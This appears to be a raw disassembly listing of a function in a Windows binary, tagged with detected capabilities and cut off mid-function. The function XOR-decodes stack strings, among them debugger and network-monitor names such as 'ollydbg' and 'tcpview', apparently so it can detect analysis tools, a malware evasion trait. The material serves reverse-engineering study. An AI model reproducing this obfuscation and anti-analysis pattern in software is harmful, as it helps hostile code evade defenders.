Function at 0x14014cef0
Capabilities:
Authenticate hmac
Enumerate processes
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9d8]
sub rsp, 0xad8
mov cl, 0x6b
mov dword [rbp + 0x8a0], 0x130
movzx edx, cl
mov byte [rbp - 0x1a], 7
xor cl, 7
mov al, 0x68
mov r8b, 0x7e
mov byte [rbp - 0x18], cl
mov r9b, 0x63
lea rcx, [rbp + 0x200]
mov r10b, 0x65
mov r11b, 0x60
xor ebx, ebx
xor al, 7
xor dl, 7
mov byte [rbp - 0x19], al
xor r8b, 7
mov byte [rbp - 0x17], dl
xor r9b, 7
mov byte [rbp - 0x16], r8b
xor r10b, 7
mov byte [rbp - 0x15], r9b
xor r11b, 7
mov byte [rbp - 0x14], r10b
mov byte [rbp - 0x13], r11b
mov byte [rbp - 0x12], bl
call fcn.140135f90
mov r13, 0xffffffffffffffff
lea rax, [rbp - 0x19]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14014cf80
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x200]
call fcn.14013c7a0
mov cl, 9
mov byte [rbp - 0x11], 0x6a
xor cl, 0x6a
mov byte [rbp - 9], bl
mov al, 0x1e
mov byte [rbp - 0xf], cl
mov dl, 0x1a
lea rcx, [rbp + 0x220]
mov r8b, 0x1c
mov r9b, 3
mov r10b, reloc.WS2_32.dll_ntohs
mov r11b, 0x1d
xor al, 0x6a
xor dl, 0x6a
xor r8b, 0x6a
mov byte [rbp - 0x10], al
xor r9b, 0x6a
mov byte [rbp - 0xe], dl
xor r10b, 0x6a
mov byte [rbp - 0xd], r8b
xor r11b, 0x6a
mov byte [rbp - 0xc], r9b
mov byte [rbp - 0xb], r10b
mov byte [rbp - 0xa], r11b
call fcn.140135f90
lea rax, [rbp - 0x10]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014cff6
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x220]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x52], 0x46
movzx r10d, cl
mov al, 0x27
xor cl, 0x46
mov dl, gethostbyaddr
mov r8b, 0x29
mov byte [rbp + 0x54], cl
mov r9b, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp + 0x240]
mov r11b, 0x28
xor edi, edi
xor al, 0x46
mov byte [rbp + 0x5b], dil
xor dl, 0x46
mov byte [rbp + 0x53], al
xor r8b, 0x46
mov byte [rbp + 0x55], dl
xor r9b, 0x46
mov byte [rbp + 0x56], r8b
xor r10b, 0x46
mov byte [rbp + 0x57], r9b
xor r11b, 0x46
mov byte [rbp + 0x58], r10b
mov bl, 0x35
mov byte [rbp + 0x59], r11b
xor bl, 0x46
mov byte [rbp + 0x5a], bl
call fcn.140135f90
lea rax, [rbp + 0x53]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14014d080
lea rdx, [rbp + 0x53]
lea rcx, [rbp + 0x240]
call fcn.14013c7a0
mov cl, 0x79
mov byte [rbp + reloc.WS2_32.dll_inet_ntoa7], 0xc
movzx r10d, cl
mov al, 0x6d
xor cl, 0xc
mov dl, 0x78
mov r8b, 0x63
mov byte [rbp + 0xc9], cl
mov r9b, 0x7e
lea rcx, [rbp + 0x260]
mov r11b, 0x62
xor esi, esi
xor al, 0xc
mov byte [rbp + 0xd1], sil
xor dl, 0xc
mov byte [rbp + 0xc8], al
xor r8b, 0xc
mov byte [rbp + 0xca], dl
xor r9b, 0xc
mov byte [rbp + 0xcb], r8b
xor r10b, 0xc
mov byte [rbp + 0xcc], r9b
xor r11b, 0xc
mov byte [rbp + 0xcd], r10b
mov bl, 0x7f
mov byte [rbp + 0xce], r11b
xor bl, 0xc
mov dil, reloc.WS2_32.dll_WSAGetLastError
xor dil, 0xc
mov byte [rbp + 0xcf], bl
mov byte [rbp + 0xd0], dil
call fcn.140135f90
lea rax, [rbp + 0xc8]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014d131
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x260]
call fcn.14013c7a0
mov cl, 0x60
mov byte [rbp - 8], 9
xor cl, 9
mov al, reloc.WS2_32.dll_WSAGetLastError
mov dl, 0x65
mov byte [rbp - 6], cl
mov r8b, 0x6c
lea rcx, [rbp + 0x280]
mov r9b, 0x64
mov r10b, 0x66
mov r11b, 0x67
xor ebx, ebx
xor al, 9
mov byte [rbp], bl
xor dl, 9
mov byte [rbp - 7], al
xor r8b, 9
mov byte [rbp - 5], dl
xor r9b, 9
mov byte [rbp - 4], r8b
xor r10b, 9
mov byte [rbp - 3], r9b
xor r11b, 9
mov byte [rbp - 2], r10b
mov byte [rbp - 1], r11b
call fcn.140135f90
lea rax, [rbp - 7]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14014d1b0
lea rdx, [rbp - 7]
lea rcx, [rbp + 0x280]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_inet_addr
mov byte [rbp - 0x5a], WSAGetLastError
xor cl, 0x6e
mov byte [rbp - 0x53], bl
mov al, 0x1c
mov byte [rbp - 0x58], cl
mov dl, 9
lea rcx, [rbp + 0x2a0]
mov r8b, 3
mov r9b, 1
xor r10b, r10b
xor al, 0x6e
xor dl, 0x6e
mov byte [rbp - 0x59], al
xor r8b, 0x6e
mov byte [rbp - 0x57], dl
xor r9b, 0x6e
mov byte [rbp - 0x56], r8b
xor r10b, 0x6e
mov byte [rbp - 0x55], r9b
mov byte [rbp - 0x54], r10b
call fcn.140135f90
lea rax, [rbp - 0x59]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14014d220
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 0x2a0]
call fcn.14013c7a0
mov al, 0x78
mov byte [rbp + 1], 8
movzx r11d, al
mov byte [rbp + 9], bl
mov cl, 0x7a
mov dl, 0x67
xor cl, 8
mov r8b, 0x6b
mov r9b, WSAGetLastError
mov byte [rbp + 3], cl
mov r10b, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2c0]
xor r11b, 8
xor al, 8
xor dl, 8
mov byte [rbp + 8], r11b
xor r8b, 8
mov byte [rbp + 2], al
xor r9b, 8
mov byte [rbp + 4], dl
xor r10b, 8
mov byte [rbp + 5], r8b
mov byte [rbp + 6], r9b
mov byte [rbp + 7], r10b
call fcn.140135f90
lea rax, [rbp + 2]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014d297
lea rdx, [rbp + 2]
lea rcx, [rbp + 0x2c0]
call fcn.14013c7a0
mov cl, 0x31
mov byte [rbp + 0xa28], 0x55
xor cl, 0x55
mov byte [rbp + 0xa2d], bl
mov al, 0x3c
mov byte [rbp + 0xa2a], cl
mov dl, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp + 0x2e0]
mov r8b, 0x24
xor al, 0x55
xor dl, 0x55
mov byte [rbp + 0xa29], al
xor r8b, 0x55
mov byte [rbp + 0xa2b], dl
mov byte [rbp + 0xa2c], r8b
call fcn.140135f90
lea rax, [rbp + 0xa29]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014d301
lea rdx, [rbp + 0xa29]
lea rcx, [rbp + 0x2e0]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x52], reloc.WS2_32.dll_sendto
xor cl, 0x14
mov byte [rbp - 0x4b], bl
mov al, 0x7d
mov byte [rbp - 0x50], cl
mov dl, 0x75
lea rcx, [rbp + 0x300]
mov r8b, 0x65
mov r9b, 0x22
mov r10b, 0x20
xor al, 0x14
xor dl, 0x14
mov byte [rbp - 0x51], al
xor r8b, 0x14
mov byte [rbp - 0x4f], dl
xor r9b, 0x14
mov byte [rbp - 0x4e], r8b
xor r10b, 0x14
mov byte [rbp - 0x4d], r9b
mov byte [rbp - 0x4c], r10b
call fcn.140135f90
lea rax, [rbp - 0x51]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14014d370
lea rdx, [rbp - 0x51]
lea rcx, [rbp + 0x300]
call fcn.14013c7a0
movdqa xmm1, xmmword [0x140495590]
mov dl, 0x4d
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x4e], xmm1
mov byte [rsp + 0x5f], bl
xor byte [rsp + 0x50], cl
xor dl, cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x5e], dl
xor al, cl
lea rcx, [rbp + 0x320]
mov byte [rsp + 0x4f], al
call fcn.140135f90
lea rax, [rsp + 0x4f]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014d406
lea rdx, [rsp + 0x4f]
lea rcx, [rbp + 0x320]
call fcn.14013c7a0
mov dl, 0x54
mov byte [rbp + 0x90], 0x26
movzx ebx, dl
mov byte [rbp + 0x9a], sil
mov cl, 0x4f
mov al, 0x71
xor cl, 0x26
mov r8b, 0x43
mov r9b, 0x55
mov byte [rbp + 0x92], cl
mov r10b, 0x4e
lea rcx, [rbp + 0x340]
mov r11b, 0x47
xor bl, 0x26
xor al, 0x26
mov byte [rbp + 0x98], bl
xor dl, 0x26
mov byte [rbp + 0x91], al
xor r8b, 0x26
mov byte [rbp + 0x93], dl
xor r9b, 0x26
mov byte [rbp + 0x94], r8b
xor r10b, 0x26
mov byte [rbp + 0x95], r9b
xor r11b, 0x26
mov byte [rbp + 0x96], r10b
mov dil, 0x4d
mov byte [rbp + 0x97], r11b
xor dil, 0x26
mov byte [rbp + 0x99], dil
call fcn.140135f90
lea rax, [rbp + 0x91]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014d4b6
lea rdx, [rbp + 0x91]
lea rcx, [rbp + 0x340]
call fcn.14013c7a0
mov r8b, 0x19
mov byte [rbp + 0xa], 0x69
movzx r11d, r8b
mov cl, 0x1c
xor cl, 0x69
mov al, 0xd
mov dl, 4
mov byte [rbp + 0xc], cl
mov r9b, 0xa
lea rcx, [rbp + 0x360]
mov r10b, 8
xor r11b, 0x69
xor ebx, ebx
mov byte [rbp + 0x11], r11b
xor al, 0x69
mov byte [rbp + 0x12], bl
xor dl, 0x69
mov byte [rbp + 0xb], al
xor r8b, 0x69
mov byte [rbp + 0xd], dl
xor r9b, 0x69
mov byte [rbp + 0xe], r8b
xor r10b, 0x69
mov byte [rbp + 0xf], r9b
mov byte [rbp + 0x10], r10b
call fcn.140135f90
lea rax, [rbp + 0xb]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014d532
lea rdx, [rbp + 0xb]
lea rcx, [rbp + 0x360]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_socket
mov byte [rbp + 0x13f], 0x78
movzx edx, cl
movzx edi, cl
xor cl, 0x78
mov sil, 0xa
mov al, 0x30
mov byte [rbp + 0x141], cl
mov r8b, reloc.WS2_32.dll_send
lea rcx, [rbp + 0x380]
mov r9b, 0x3d
xor r10b, r10b
mov r11b, 8
movzx r15d, sil
xor r12d, r12d
xor al, 0x78
xor dl, 0x78
mov byte [rbp + 0x140], al
xor r8b, 0x78
mov byte [rbp + 0x142], dl
xor r9b, 0x78
mov byte [rbp + 0x143], r8b
xor r10b, 0x78
mov byte [rbp + 0x144], r9b
xor r11b, 0x78
mov byte [rbp + 0x145], r10b
xor dil, 0x78
mov byte [rbp + 0x146], r11b
xor sil, 0x78
mov byte [rbp + 0x148], dil
xor r15b, 0x78
mov byte [rbp + 0x149], sil
mov bl, reloc.WS2_32.dll_sendto
mov byte [rbp + 0x14b], r15b
xor bl, 0x78
mov byte [rbp + 0x14c], r12b
mov r14b, 0x1d
mov byte [rbp + 0x147], bl
xor r14b, 0x78
mov byte [rbp + 0x14a], r14b
call fcn.140135f90
lea rax, [rbp + 0x140]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14014d610
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x380]
call fcn.14013c7a0
mov cl, 0x76
mov byte [rbp + 0x9b], 0x1b
xor cl, 0x1b
mov al, 0x52
mov dl, 0x6b
mov byte [rbp + 0x9d], cl
mov r8b, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3a0]
mov r9b, 0x69
mov r10b, reloc.WS2_32.dll_WSAGetLastError
mov r11b, 0x49
xor esi, esi
xor al, 0x1b
mov byte [rbp + 0xa5], sil
xor dl, 0x1b
mov byte [rbp + 0x9c], al
xor r8b, 0x1b
mov byte [rbp + 0x9e], dl
xor r9b, 0x1b
mov byte [rbp + 0x9f], r8b
xor r10b, 0x1b
mov byte [rbp + 0xa0], r9b
xor r11b, 0x1b
mov byte [rbp + 0xa1], r10b
mov bl, 0x5e
mov byte [rbp + 0xa2], r11b
xor bl, 0x1b
mov dil, 0x58
xor dil, 0x1b
mov byte [rbp + 0xa3], bl
mov byte [rbp + 0xa4], dil
call fcn.140135f90
lea rax, [rbp + 0x9c]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014d6c3
lea rdx, [rbp + 0x9c]
lea rcx, [rbp + 0x3a0]
call fcn.14013c7a0
mov r8b, 0x28
mov byte [rbp + 0x13], 0x47
movzx r9d, r8b
mov cl, 2
xor cl, 0x47
mov al, reloc.WS2_32.dll_socket
mov dl, reloc.WS2_32.dll_send
mov byte [rbp + 0x15], cl
mov r10b, 0x2b
lea rcx, [rbp + 0x3c0]
mov r11b, reloc.WS2_32.dll_gethostbyname
xor r9b, 0x47
xor ebx, ebx
mov byte [rbp + 0x18], r9b
xor al, 0x47
mov byte [rbp + 0x1b], bl
xor dl, 0x47
mov byte [rbp + 0x14], al
xor r8b, 0x47
mov byte [rbp + 0x16], dl
xor r10b, 0x47
mov byte [rbp + 0x17], r8b
xor r11b, 0x47
mov byte [rbp + 0x19], r10b
mov byte [rbp + 0x1a], r11b
call fcn.140135f90
lea rax, [rbp + 0x14]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14014d740
lea rdx, [rbp + 0x14]
lea rcx, [rbp + 0x3c0]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_select
mov byte [rbp - 0x4a], 0x7d
xor cl, 0x7d
mov byte [rbp - 0x43], bl
mov al, 0x31
mov byte [rbp - 0x48], cl
mov dl, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3e0]
mov r8b, 0x19
mov r9b, 0x2d
mov r10b, reloc.WS2_32.dll_getservbyport
xor al, 0x7d
xor dl, 0x7d
mov byte [rbp - 0x49], al
xor r8b, 0x7d
mov byte [rbp - 0x47], dl
xor r9b, 0x7d
mov byte [rbp - 0x46], r8b
xor r10b, 0x7d
mov byte [rbp - 0x45], r9b
mov byte [rbp - 0x44], r10b
call fcn.140135f90
lea rax, [rbp - 0x49]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14014d7b0
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 0x3e0]
call fcn.14013c7a0
mov dl, 0x5d
mov byte [rbp + 0x14d], gethostbyaddr
movzx r10d, dl
mov byte [rbp + 0x15a], r12b
mov cl, 0x57
mov al, 0x7d
xor cl, 0x2e
mov r8b, 0x67
mov r9b, 0x40
mov byte [rbp + 0x14f], cl
mov r11b, 0x5e
lea rcx, [rbp + 0x400]
xor r10b, 0x2e
xor al, 0x2e
xor dl, 0x2e
mov byte [rbp + 0x153], r10b
xor r8b, 0x2e
mov byte [rbp + 0x14e], al
xor r9b, 0x2e
mov byte [rbp + 0x150], dl
xor r11b, 0x2e
mov byte [rbp + 0x151], r8b
mov bl, 0x4b
mov byte [rbp + 0x152], r9b
xor bl, 0x2e
mov byte [rbp + 0x154], r11b
mov dil, 0x4d
mov byte [rbp + 0x155], bl
xor dil, 0x2e
mov sil, 0x5a
xor sil, 0x2e
mov byte [rbp + 0x156], dil
mov r14b, 0x41
mov byte [rbp + 0x157], sil
xor r14b, 0x2e
mov r15b, 0x5c
xor r15b, 0x2e
mov byte [rbp + 0x158], r14b
mov byte [rbp + 0x159], r15b
call fcn.140135f90
lea rax, [rbp + 0x14e]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14014d890
lea rdx, [rbp + 0x14e]
lea rcx, [rbp + 0x400]
call fcn.14013c7a0
mov cl, 0x2c
mov byte [rbp + 0x177], 0x5e
movzx r12d, cl
mov r10b, 0x3f
xor cl, 0x5e
movzx ebx, r10b
mov al, 0x2e
mov byte [rbp + 0x179], cl
mov dl, 0x31
lea rcx, [rbp + 0x420]
mov r8b, 0x3d
mov r9b, 1
mov r11b, 0x30
xor r13d, r13d
xor al, 0x5e
mov byte [rbp + 0x185], r13b
xor dl, 0x5e
mov byte [rbp + 0x178], al
xor r8b, 0x5e
mov byte [rbp + 0x17a], dl
xor r9b, 0x5e
mov byte [rbp + 0x17b], r8b
xor r10b, 0x5e
mov byte [rbp + 0x17c], r9b
xor r11b, 0x5e
mov byte [rbp + 0x17d], r10b
xor bl, 0x5e
mov byte [rbp + 0x17e], r11b
xor r12b, 0x5e
mov byte [rbp + 0x17f], bl
mov dil, gethostbyaddr
mov byte [rbp + 0x184], r12b
xor dil, 0x5e
mov sil, 0x27
xor sil, 0x5e
mov byte [rbp + 0x180], dil
mov r14b, 0x24
mov byte [rbp + 0x181], sil
xor r14b, 0x5e
mov r15b, 0x3b
xor r15b, 0x5e
mov byte [rbp + 0x182], r14b
mov byte [rbp + 0x183], r15b
call fcn.140135f90
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x178]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14014d986
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x420]
call fcn.14013c7a0
mov cl, 0xa
mov byte [rbp + 0x118], reloc.WS2_32.dll_WSAStartup
movzx ebx, cl
xor al, al
xor cl, 0x73
xor dl, dl
mov r8b, gethostbyaddr
mov byte [rbp + 0x11a], cl
mov r9b, 0x1d
lea rcx, [rbp + 0x440]
mov r10b, reloc.WS2_32.dll_select
mov r11b, 0x1f
xor r15d, r15d
xor al, 0x73
xor dl, 0x73
mov byte [rbp + 0x119], al
xor r8b, 0x73
mov byte [rbp + 0x11b], dl
xor r9b, 0x73
mov byte [rbp + 0x11c], r8b
xor r10b, 0x73
mov byte [rbp + 0x11d], r9b
xor r11b, 0x73
mov byte [rbp + 0x11e], r10b
xor bl, 0x73
mov byte [rbp + 0x11f], r11b
mov dil, 9
mov byte [rbp + 0x120], bl
xor dil, 0x73
mov byte [rbp + 0x124], r15b
mov sil, reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x121], dil
xor sil, 0x73
mov r14b, 1
xor r14b, 0x73
mov byte [rbp + 0x122], sil
mov byte [rbp + 0x123], r14b
call fcn.140135f90
lea rax, [rbp + 0x119]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x14014da60
lea rdx, [rbp + 0x119]
lea rcx, [rbp + 0x440]
call fcn.14013c7a0
mov dl, 0x53
mov byte [rbp + 0xa6], 0x3a
mov r8b, 0x5c
movzx ebx, dl
movzx r9d, r8b
mov cl, 0x54
xor cl, 0x3a
mov al, 0x49
mov r10b, 0x65
mov byte [rbp + 0xa8], cl
mov r11b, 0x52
lea rcx, [rbp + 0x460]
xor r9b, 0x3a
xor bl, 0x3a
xor esi, esi
mov byte [rbp + 0xab], r9b
xor al, 0x3a
mov byte [rbp + 0xae], bl
xor dl, 0x3a
mov byte [rbp + 0xa7], al
xor r8b, 0x3a
mov byte [rbp + 0xa9], dl
xor r10b, 0x3a
mov byte [rbp + 0xaa], r8b
xor r11b, 0x3a
mov byte [rbp + 0xac], r10b
mov dil, 0x4e
mov byte [rbp + 0xad], r11b
xor dil, 0x3a
mov byte [rbp + 0xb0], sil
mov byte [rbp + 0xaf], dil
call fcn.140135f90
lea rax, [rbp + 0xa7]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014db15
lea rdx, [rbp + 0xa7]
lea rcx, [rbp + 0x460]
call fcn.14013c7a0
mov cl, 0x65
mov byte [rbp - 0x42], reloc.WS2_32.dll_inet_ntoa
xor cl, 0xc
mov byte [rbp - 0x3b], sil
mov al, 0x7b
mov byte [rbp - 0x40], cl
mov dl, 0x62
lea rcx, [rbp + 0x480]
mov r8b, 0x68
mov r9b, WSAGetLastError
mov r10b, 0x6b
xor al, 0xc
xor dl, 0xc
mov byte [rbp - 0x41], al
xor r8b, 0xc
mov byte [rbp - 0x3f], dl
xor r9b, 0xc
mov byte [rbp - 0x3e], r8b
xor r10b, 0xc
mov byte [rbp - 0x3d], r9b
mov byte [rbp - 0x3c], r10b
call fcn.140135f90
lea rax, [rbp - 0x41]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014db84
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 0x480]
call fcn.14013c7a0
mov cl, 0x79
mov byte [rbp + 0x1a4], reloc.WS2_32.dll_shutdown
movzx r9d, cl
movzx ebx, cl
movzx r15d, cl
mov al, 0x7c
xor cl, 0x16
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1a6], cl
mov r10b, WSAGetLastError
lea rcx, [rbp + 0x4a0]
mov r11b, 0x75
xor r13d, r13d
xor al, 0x16
mov byte [rbp + 0x1b2], r13b
xor dl, 0x16
mov byte [rbp + 0x1a5], al
xor r8b, 0x16
mov byte [rbp + 0x1a7], dl
xor r9b, 0x16
mov byte [rbp + 0x1a8], r8b
xor r10b, 0x16
mov byte [rbp + 0x1a9], r9b
xor r11b, 0x16
mov byte [rbp + 0x1aa], r10b
xor bl, 0x16
mov byte [rbp + 0x1ab], r11b
xor r15b, 0x16
mov byte [rbp + 0x1ac], bl
mov dil, 0x78
mov byte [rbp + 0x1b0], r15b
xor dil, 0x16
mov sil, 0x62
xor sil, 0x16
mov byte [rbp + 0x1ad], dil
mov r14b, 0x64
mov byte [rbp + 0x1ae], sil
xor r14b, 0x16
mov r12b, 0x7a
xor r12b, 0x16
mov byte [rbp + 0x1af], r14b
mov byte [rbp + 0x1b1], r12b
call fcn.140135f90
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x1a5]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14014dc80
lea rdx, [rbp + 0x1a5]
lea rcx, [rbp + 0x4a0]
call fcn.14013c7a0
mov dl, 7
mov byte [rbp + 0x15b], 0x62
mov cl, 0xd
movzx ebx, dl
movzx r9d, cl
movzx r14d, dl
xor cl, 0x62
mov dil, reloc.WS2_32.dll_recv
mov al, 8
mov byte [rbp + 0x15d], cl
xor r8b, r8b
lea rcx, [rbp + 0x4c0]
mov r10b, 0x1a
mov r11b, reloc.WS2_32.dll_recvfrom
movzx r15d, dil
xor r12d, r12d
xor al, 0x62
mov byte [rbp + 0x168], r12b
xor dl, 0x62
mov byte [rbp + 0x15c], al
xor r8b, 0x62
mov byte [rbp + 0x15e], dl
xor r9b, 0x62
mov byte [rbp + 0x15f], r8b
xor r10b, 0x62
mov byte [rbp + 0x160], r9b
xor r11b, 0x62
mov byte [rbp + 0x161], r10b
xor bl, 0x62
mov byte [rbp + 0x162], r11b
xor dil, 0x62
mov byte [rbp + 0x163], bl
xor r14b, 0x62
mov byte [rbp + 0x164], dil
xor r15b, 0x62
mov byte [rbp + 0x166], r14b
mov sil, reloc.WS2_32.dll_sendto
mov byte [rbp + 0x167], r15b
xor sil, 0x62
mov byte [rbp + 0x165], sil
call fcn.140135f90
lea rax, [rbp + 0x15c]
mov r8, r13
inc r8
cmp byte [rax + r8], r12b
jne 0x14014dd63
lea rdx, [rbp + 0x15c]
lea rcx, [rbp + 0x4c0]
call fcn.14013c7a0
mov dl, 0x1e
mov byte [rbp + 0x1c], 0x7a
movzx r8d, dl
mov cl, reloc.WS2_32.dll_send
xor cl, 0x7a
mov al, 0x1c
mov r9b, reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x1e], cl
mov r10b, 0x1f
lea rcx, [rbp + 0x4e0]
mov r11b, 8
xor r8b, 0x7a
xor ebx, ebx
mov byte [rbp + 0x20], r8b
xor al, 0x7a
mov byte [rbp + 0x24], bl
xor dl, 0x7a
mov byte [rbp + 0x1d], al
xor r9b, 0x7a
mov byte [rbp + 0x1f], dl
xor r10b, 0x7a
mov byte [rbp + 0x21], r9b
xor r11b, 0x7a
mov byte [rbp + 0x22], r10b
mov byte [rbp + 0x23], r11b
call fcn.140135f90
lea rax, [rbp + 0x1d]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14014dde0
lea rdx, [rbp + 0x1d]
lea rcx, [rbp + 0x4e0]
call fcn.14013c7a0
mov cl, 0x45
mov byte [rbp + 0x186], 0x24
xor cl, 0x24
mov r14b, 0x56
mov al, reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x188], cl
mov dl, 0x57
lea rcx, [rbp + 0x500]
mov r8b, 0x4f
mov r9b, 4
mov r10b, 0x61
mov r11b, 0x5c
movzx r12d, r14b
xor r13d, r13d
xor al, 0x24
mov byte [rbp + 0x194], r13b
xor dl, 0x24
mov byte [rbp + 0x187], al
xor r8b, 0x24
mov byte [rbp + 0x189], dl
xor r9b, 0x24
mov byte [rbp + 0x18a], r8b
xor r10b, 0x24
mov byte [rbp + 0x18b], r9b
xor r11b, 0x24
mov byte [rbp + 0x18c], r10b
xor r14b, 0x24
mov byte [rbp + 0x18d], r11b
xor r12b, 0x24
mov byte [rbp + 0x191], r14b
mov bl, 0x54
mov byte [rbp + 0x193], r12b
xor bl, 0x24
mov dil, 0x48
xor dil, 0x24
mov byte [rbp + 0x18e], bl
mov sil, 0x4b
mov byte [rbp + 0x18f], dil
xor sil, 0x24
mov r15b, 0x41
xor r15b, 0x24
mov byte [rbp + 0x190], sil
mov byte [rbp + 0x192], r15b
call fcn.140135f90
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x187]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14014ded1
lea rdx, [rbp + 0x187]
lea rcx, [rbp + 0x500]
call fcn.14013c7a0
movdqa xmm1, xmmword [0x140495610]
mov dl, 0x30
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8b, gethostbyaddr
mov byte [rbp + 0x10a], 0
xor dl, cl
psrldq xmm0, 1
xor byte [rbp + 0xfa], cl
xor r8b, cl
xor byte [rbp + 0xfb], cl
xor byte [rbp + 0xfc], cl
xor byte [rbp + 0xfd], cl
xor byte [rbp + 0xfe], cl
xor byte [rbp + 0xff], cl
xor byte [rbp + 0x100], cl
xor byte [rbp + 0x101], cl
xor byte [rbp + 0x102], cl
xor byte [rbp + 0x103], cl
xor byte [rbp + 0x104], cl
xor byte [rbp + 0x105], cl
xor byte [rbp + 0x106], cl
xor byte [rbp + 0x107], cl
movd eax, xmm0
mov byte [rbp + 0x108], dl
mov byte [rbp + 0x109], r8b
xor al, cl
lea rcx, [rbp + 0x520]
mov byte [rbp + 0xf9], al
call fcn.140135f90
lea rax, [rbp + 0xf9]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14014dfa0
lea rdx, [rbp + 0xf9]
lea rcx, [rbp + 0x520]
call fcn.14013c7a0
mov dl, reloc.WS2_32.dll_recv
mov byte [rbp + 0x169], 0x75
movzx r15d, dl
mov cl, 0x1d
xor cl, 0x75
mov bl, 0x1b
mov al, getservbyname
mov byte [rbp + 0x16b], cl
mov r8b, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x540]
mov r9b, 1
mov r10b, 0x55
mov r11b, 0x30
movzx r14d, bl
xor r15b, 0x75
xor r12d, r12d
xor al, 0x75
mov byte [rbp + 0x175], r15b
xor dl, 0x75
mov byte [rbp + 0x16a], al
xor r8b, 0x75
mov byte [rbp + 0x16c], dl
xor r9b, 0x75
mov byte [rbp + 0x16d], r8b
xor r10b, 0x75
mov byte [rbp + 0x16e], r9b
xor r11b, 0x75
mov byte [rbp + 0x16f], r10b
xor bl, 0x75
mov byte [rbp + 0x170], r11b
xor r14b, 0x75
mov byte [rbp + 0x171], bl
mov dil, reloc.WS2_32.dll_select
mov byte [rbp + 0x174], r14b
xor dil, 0x75
mov byte [rbp + 0x176], r12b
mov sil, 0x1c
mov byte [rbp + 0x172], dil
xor sil, 0x75
mov byte [rbp + 0x173], sil
call fcn.140135f90
lea rax, [rbp + 0x16a]
mov r8, r13
inc r8
cmp byte [rax + r8], r12b
jne 0x14014e081
lea rdx, [rbp + 0x16a]
lea rcx, [rbp + 0x540]
call fcn.14013c7a0
movdqa xmm1, xmmword [0x140495470]
mov dl, 0x69
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x70], xmm1
xor r8b, r8b
mov r9b, 2
xor dl, cl
psrldq xmm0, 1
xor byte [rbp + 0x72], cl
xor r8b, cl
xor byte [rbp + 0x73], cl
xor r9b, cl
xor byte [rbp + 0x74], cl
xor byte [rbp + 0x75], cl
xor byte [rbp + 0x76], cl
xor byte [rbp + 0x77], cl
